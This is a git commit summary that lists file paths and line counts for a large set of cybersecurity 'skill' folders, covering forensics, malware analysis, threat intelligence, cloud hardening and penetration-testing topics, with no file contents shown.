.../scripts/agent.py | 221 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 45 +++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 184 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 217 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 34 ++ .../references/api-reference.md | 75 ++++ .../scripts/agent.py | 213 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 31 ++ .../references/api-reference.md | 51 +++ .../scripts/agent.py | 217 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 206 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../implementing-saml-sso-with-okta/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 50 +++ .../references/api-reference.md | 52 +++ .../scripts/agent.py | 222 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 52 +++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 249 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 229 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 74 ++++ .../scripts/agent.py | 245 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 43 +++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 246 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 38 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 213 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 209 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 75 ++++ .../scripts/agent.py | 236 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 50 +++ .../scripts/agent.py | 125 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 161 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 146 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 141 +++++++ .../implementing-zero-trust-in-cloud/LICENSE | 21 ++ .../references/api-reference.md | 72 ++++ .../scripts/agent.py | 231 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 51 +++ .../scripts/agent.py | 132 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 168 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 51 +++ .../scripts/agent.py | 157 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 137 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 153 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 160 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 234 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 217 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 206 ++++++++++ .../managing-cloud-identity-with-okta/LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 227 +++++++++++ .../managing-intelligence-lifecycle/LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 175 +++++++++ .../mapping-mitre-attack-techniques/LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 205 ++++++++++ skills/monitoring-darkweb-sources/LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 196 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 53 +++ .../scripts/agent.py | 142 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 40 ++ .../scripts/agent.py | 132 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 183 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 194 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 205 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 154 ++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 232 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 223 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 47 +++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 193 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 230 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 224 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 44 +++ .../references/api-reference.md | 48 +++ .../scripts/agent.py | 197 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../performing-csrf-attack-simulation/LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 252 +++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 213 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 262 +++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 272 ++++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 251 +++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 52 +++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 179 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 75 ++++ .../scripts/agent.py | 317 ++++++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 43 +++ .../scripts/agent.py | 174 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 48 +++ .../scripts/agent.py | 180 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 45 +++ .../scripts/agent.py | 211 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 191 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 50 +++ .../scripts/agent.py | 197 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 43 +++ .../scripts/agent.py | 234 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 243 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 50 +++ .../scripts/agent.py | 237 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../performing-kerberoasting-attack/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 221 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 53 +++ .../scripts/agent.py | 220 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../performing-malware-ioc-extraction/LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 49 +++ .../scripts/agent.py | 251 +++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 183 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 161 ++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 52 +++ .../scripts/agent.py | 215 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 52 +++ .../scripts/agent.py | 230 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 51 +++ .../scripts/agent.py | 203 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 168 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 49 +++ .../scripts/agent.py | 245 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 137 +++++++ .../LICENSE | 21 ++ .../performing-purple-team-exercise/LICENSE | 21 ++ .../references/api-reference.md | 50 +++ .../scripts/agent.py | 198 ++++++++++ .../LICENSE | 21 ++ skills/performing-ransomware-response/LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 228 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 38 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 198 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../performing-security-headers-audit/LICENSE | 21 ++ .../references/api-reference.md | 44 +++ .../scripts/agent.py | 276 ++++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 72 ++++ .../scripts/agent.py | 153 ++++++++ .../performing-service-account-audit/LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 173 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 163 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 182 +++++++++ .../performing-soc-tabletop-exercise/LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 196 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 172 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 199 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 163 ++++++++ .../performing-ssl-stripping-attack/LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 147 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 158 ++++++++ .../LICENSE | 21 ++ .../SKILL.md | 33 ++ .../references/api-reference.md | 40 ++ .../scripts/agent.py | 175 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 218 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 197 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 69 ++++ .../scripts/agent.py | 168 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 203 ++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 45 +++ .../references/api-reference.md | 67 ++++ .../scripts/agent.py | 194 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 225 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 168 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 205 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 173 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 218 +++++++++++ skills/performing-vlan-hopping-attack/LICENSE | 21 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 180 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 75 ++++ .../scripts/agent.py | 196 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 53 +++ .../scripts/agent.py | 144 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 245 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 140 +++++++ .../LICENSE | 21 ++ .../scripts/agent.py | 116 ++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 219 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 73 ++++ .../scripts/agent.py | 206 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ skills/processing-stix-taxii-feeds/LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 214 +++++++++++ skills/profiling-threat-actor-groups/LICENSE | 21 ++ .../references/api-reference.md | 67 ++++ .../scripts/agent.py | 181 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 200 ++++++++++ .../recovering-from-ransomware-attack/LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 81 ++++ .../scripts/agent.py | 208 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 67 ++++ .../scripts/agent.py | 198 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 219 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 75 ++++ .../scripts/agent.py | 233 ++++++++++++ .../LICENSE | 21 ++ .../reverse-engineering-rust-malware/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../scanning-docker-images-with-trivy/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 158 ++++++++ .../securing-api-gateway-with-aws-waf/LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 169 +++++++++ skills/securing-aws-iam-permissions/LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 178 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 177 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 179 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 197 ++++++++++ .../LICENSE | 21 ++ .../securing-github-actions-workflows/LICENSE | 21 ++ .../securing-helm-chart-deployments/LICENSE | 21 ++ .../LICENSE | 21 ++ skills/securing-kubernetes-on-cloud/LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 211 +++++++++++ .../LICENSE | 21 ++ skills/securing-serverless-functions/LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 172 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 223 +++++++++++ skills/testing-cors-misconfiguration/LICENSE | 21 ++ .../references/api-reference.md | 50 +++ .../scripts/agent.py | 206 ++++++++++ .../testing-for-broken-access-control/LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 196 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 210 +++++++++++ .../LICENSE | 21 ++ .../testing-for-host-header-injection/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 50 +++ .../scripts/agent.py | 237 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 199 ++++++++++ .../testing-for-xss-vulnerabilities/LICENSE | 21 ++ .../references/api-reference.md | 53 +++ .../scripts/agent.py | 208 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 234 ++++++++++++ skills/testing-jwt-token-security/LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 237 ++++++++++++ .../testing-mobile-api-authentication/LICENSE | 21 ++ .../LICENSE | 21 ++ skills/testing-websocket-api-security/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 69 ++++ .../scripts/agent.py | 213 +++++++++++ .../LICENSE | 21 ++ skills/triaging-security-incident/LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 264 +++++++++++++ .../LICENSE | 21 ++ 1390 files changed, 106806 insertions(+) create mode 100644 skills/acquiring-disk-image-with-dd-and-dcfldd/LICENSE create mode 100644 skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md create mode 100644 skills/acquiring-disk-image-with-dd-and-dcfldd/scripts/agent.py create mode 100644 skills/analyzing-api-gateway-access-logs/LICENSE create mode 100644 skills/analyzing-api-gateway-access-logs/SKILL.md create mode 100644 skills/analyzing-api-gateway-access-logs/references/api-reference.md create mode 100644 skills/analyzing-api-gateway-access-logs/scripts/agent.py create mode 100644 skills/analyzing-apt-group-with-mitre-navigator/LICENSE create mode 100644 skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md create mode 100644 skills/analyzing-apt-group-with-mitre-navigator/scripts/agent.py create mode 100644 skills/analyzing-azure-activity-logs-for-threats/LICENSE create mode 100644 skills/analyzing-azure-activity-logs-for-threats/SKILL.md create mode 100644 skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md create mode 100644 skills/analyzing-azure-activity-logs-for-threats/scripts/agent.py create mode 100644 skills/analyzing-bootkit-and-rootkit-samples/LICENSE create mode 100644 skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md create mode 100644 skills/analyzing-bootkit-and-rootkit-samples/scripts/agent.py create mode 100644 skills/analyzing-browser-forensics-with-hindsight/LICENSE create mode 100644 skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md create mode 100644 skills/analyzing-browser-forensics-with-hindsight/scripts/agent.py create mode 100644 skills/analyzing-campaign-attribution-evidence/LICENSE create mode 100644 skills/analyzing-campaign-attribution-evidence/references/api-reference.md create mode 100644 skills/analyzing-campaign-attribution-evidence/scripts/agent.py create mode 100644 skills/analyzing-certificate-transparency-for-phishing/LICENSE create mode 100644 skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md create mode 100644 skills/analyzing-certificate-transparency-for-phishing/scripts/agent.py create mode 100644 skills/analyzing-cloud-storage-access-patterns/LICENSE create mode 100644 skills/analyzing-cloud-storage-access-patterns/SKILL.md create mode 100644 skills/analyzing-cloud-storage-access-patterns/references/api-reference.md create mode 100644 skills/analyzing-cloud-storage-access-patterns/scripts/agent.py create mode 100644 skills/analyzing-cobalt-strike-beacon-configuration/LICENSE create mode 100644 skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md create mode 100644 skills/analyzing-cobalt-strike-beacon-configuration/scripts/agent.py create mode 100644 skills/analyzing-cobalt-strike-malleable-profiles/LICENSE create mode 100644 skills/analyzing-cobalt-strike-malleable-profiles/SKILL.md create mode 100644 skills/analyzing-cobalt-strike-malleable-profiles/references/api-reference.md create mode 100644 skills/analyzing-cobalt-strike-malleable-profiles/scripts/agent.py create mode 100644 skills/analyzing-command-and-control-communication/LICENSE create mode 100644 skills/analyzing-command-and-control-communication/references/api-reference.md create mode 100644 skills/analyzing-command-and-control-communication/scripts/agent.py create mode 100644 skills/analyzing-cyber-kill-chain/LICENSE create mode 100644 skills/analyzing-cyber-kill-chain/references/api-reference.md create mode 100644 skills/analyzing-cyber-kill-chain/scripts/agent.py create mode 100644 skills/analyzing-disk-image-with-autopsy/LICENSE create mode 100644 skills/analyzing-disk-image-with-autopsy/references/api-reference.md create mode 100644 skills/analyzing-disk-image-with-autopsy/scripts/agent.py create mode 100644 skills/analyzing-dns-logs-for-exfiltration/LICENSE create mode 100644 skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md create mode 100644 skills/analyzing-dns-logs-for-exfiltration/scripts/agent.py create mode 100644 skills/analyzing-docker-container-forensics/LICENSE create mode 100644 skills/analyzing-docker-container-forensics/references/api-reference.md create mode 100644 skills/analyzing-docker-container-forensics/scripts/agent.py create mode 100644 skills/analyzing-email-headers-for-phishing-investigation/LICENSE create mode 100644 skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md create mode 100644 skills/analyzing-email-headers-for-phishing-investigation/scripts/agent.py create mode 100644 skills/analyzing-golang-malware-with-ghidra/LICENSE create mode 100644 skills/analyzing-golang-malware-with-ghidra/references/api-reference.md create mode 100644 skills/analyzing-golang-malware-with-ghidra/scripts/agent.py create mode 100644 skills/analyzing-indicators-of-compromise/LICENSE create mode 100644 skills/analyzing-indicators-of-compromise/references/api-reference.md create mode 100644 skills/analyzing-indicators-of-compromise/scripts/agent.py create mode 100644 skills/analyzing-ios-app-security-with-objection/LICENSE create mode 100644 skills/analyzing-ios-app-security-with-objection/references/api-reference.md create mode 100644 skills/analyzing-ios-app-security-with-objection/scripts/agent.py create mode 100644 skills/analyzing-kubernetes-audit-logs/LICENSE create mode 100644 skills/analyzing-kubernetes-audit-logs/SKILL.md create mode 100644 skills/analyzing-kubernetes-audit-logs/references/api-reference.md create mode 100644 skills/analyzing-kubernetes-audit-logs/scripts/agent.py create mode 100644 skills/analyzing-linux-elf-malware/LICENSE create mode 100644 skills/analyzing-linux-elf-malware/references/api-reference.md create mode 100644 skills/analyzing-linux-elf-malware/scripts/agent.py create mode 100644 skills/analyzing-linux-system-artifacts/LICENSE create mode 100644 skills/analyzing-linux-system-artifacts/references/api-reference.md create mode 100644 skills/analyzing-linux-system-artifacts/scripts/agent.py create mode 100644 skills/analyzing-lnk-file-and-jump-list-artifacts/LICENSE create mode 100644 skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md create mode 100644 skills/analyzing-lnk-file-and-jump-list-artifacts/scripts/agent.py create mode 100644 skills/analyzing-macro-malware-in-office-documents/LICENSE create mode 100644 skills/analyzing-macro-malware-in-office-documents/references/api-reference.md create mode 100644 skills/analyzing-macro-malware-in-office-documents/scripts/agent.py create mode 100644 skills/analyzing-malicious-url-with-urlscan/LICENSE create mode 100644 skills/analyzing-malicious-url-with-urlscan/references/api-reference.md create mode 100644 skills/analyzing-malicious-url-with-urlscan/scripts/agent.py create mode 100644 skills/analyzing-malware-behavior-with-cuckoo-sandbox/LICENSE create mode 100644 skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md create mode 100644 skills/analyzing-malware-behavior-with-cuckoo-sandbox/scripts/agent.py create mode 100644 skills/analyzing-malware-family-relationships-with-malpedia/LICENSE create mode 100644 skills/analyzing-malware-persistence-with-autoruns/LICENSE create mode 100644 skills/analyzing-memory-dumps-with-volatility/LICENSE create mode 100644 skills/analyzing-memory-dumps-with-volatility/references/api-reference.md create mode 100644 skills/analyzing-memory-dumps-with-volatility/scripts/agent.py create mode 100644 skills/analyzing-memory-forensics-with-lime-and-volatility/LICENSE create mode 100644 skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md create mode 100644 skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md create mode 100644 skills/analyzing-memory-forensics-with-lime-and-volatility/scripts/agent.py create mode 100644 skills/analyzing-mft-for-deleted-file-recovery/LICENSE create mode 100644 skills/analyzing-network-covert-channels-in-malware/LICENSE create mode 100644 skills/analyzing-network-flow-data-with-netflow/LICENSE create mode 100644 skills/analyzing-network-flow-data-with-netflow/SKILL.md create mode 100644 skills/analyzing-network-flow-data-with-netflow/references/api-reference.md create mode 100644 skills/analyzing-network-flow-data-with-netflow/scripts/agent.py create mode 100644 skills/analyzing-network-traffic-for-incidents/LICENSE create mode 100644 skills/analyzing-network-traffic-for-incidents/references/api-reference.md create mode 100644 skills/analyzing-network-traffic-for-incidents/scripts/agent.py create mode 100644 skills/analyzing-network-traffic-of-malware/LICENSE create mode 100644 skills/analyzing-network-traffic-of-malware/references/api-reference.md create mode 100644 skills/analyzing-network-traffic-of-malware/scripts/agent.py create mode 100644 skills/analyzing-network-traffic-with-wireshark/LICENSE create mode 100644 skills/analyzing-network-traffic-with-wireshark/references/api-reference.md create mode 100644 skills/analyzing-network-traffic-with-wireshark/scripts/agent.py create mode 100644 skills/analyzing-outlook-pst-for-email-forensics/LICENSE create mode 100644 skills/analyzing-packed-malware-with-upx-unpacker/LICENSE create mode 100644 skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md create mode 100644 skills/analyzing-packed-malware-with-upx-unpacker/scripts/agent.py create mode 100644 skills/analyzing-pdf-malware-with-pdfid/LICENSE create mode 100644 skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md create mode 100644 skills/analyzing-pdf-malware-with-pdfid/scripts/agent.py create mode 100644 skills/analyzing-phishing-email-headers/LICENSE create mode 100644 skills/analyzing-powershell-script-block-logging/LICENSE create mode 100644 skills/analyzing-powershell-script-block-logging/SKILL.md create mode 100644 skills/analyzing-powershell-script-block-logging/references/api-reference.md create mode 100644 skills/analyzing-powershell-script-block-logging/scripts/agent.py create mode 100644 skills/analyzing-prefetch-files-for-execution-history/LICENSE create mode 100644 skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md create mode 100644 skills/analyzing-prefetch-files-for-execution-history/scripts/agent.py create mode 100644 skills/analyzing-ransomware-encryption-mechanisms/LICENSE create mode 100644 skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md create mode 100644 skills/analyzing-ransomware-encryption-mechanisms/scripts/agent.py create mode 100644 skills/analyzing-ransomware-leak-site-intelligence/LICENSE create mode 100644 skills/analyzing-security-logs-with-splunk/LICENSE create mode 100644 skills/analyzing-security-logs-with-splunk/references/api-reference.md create mode 100644 skills/analyzing-security-logs-with-splunk/scripts/agent.py create mode 100644 skills/analyzing-slack-space-and-file-system-artifacts/LICENSE create mode 100644 skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md create mode 100644 skills/analyzing-slack-space-and-file-system-artifacts/scripts/agent.py create mode 100644 skills/analyzing-supply-chain-malware-artifacts/LICENSE create mode 100644 skills/analyzing-threat-actor-ttps-with-mitre-attack/LICENSE create mode 100644 skills/analyzing-threat-intelligence-feeds/LICENSE create mode 100644 skills/analyzing-threat-intelligence-feeds/references/api-reference.md create mode 100644 skills/analyzing-threat-intelligence-feeds/scripts/agent.py create mode 100644 skills/analyzing-threat-landscape-with-misp/LICENSE create mode 100644 skills/analyzing-threat-landscape-with-misp/SKILL.md create mode 100644 skills/analyzing-threat-landscape-with-misp/references/api-reference.md create mode 100644 skills/analyzing-threat-landscape-with-misp/scripts/agent.py create mode 100644 skills/analyzing-tls-certificate-transparency-logs/LICENSE create mode 100644 skills/analyzing-tls-certificate-transparency-logs/SKILL.md create mode 100644 skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md create mode 100644 skills/analyzing-tls-certificate-transparency-logs/scripts/agent.py create mode 100644 skills/analyzing-typosquatting-domains-with-dnstwist/LICENSE create mode 100644 skills/analyzing-usb-device-connection-history/LICENSE create mode 100644 skills/analyzing-usb-device-connection-history/references/api-reference.md create mode 100644 skills/analyzing-usb-device-connection-history/scripts/agent.py create mode 100644 skills/analyzing-web-server-logs-for-intrusion/LICENSE create mode 100644 skills/analyzing-web-server-logs-for-intrusion/SKILL.md create mode 100644 skills/analyzing-web-server-logs-for-intrusion/references/api-reference.md create mode 100644 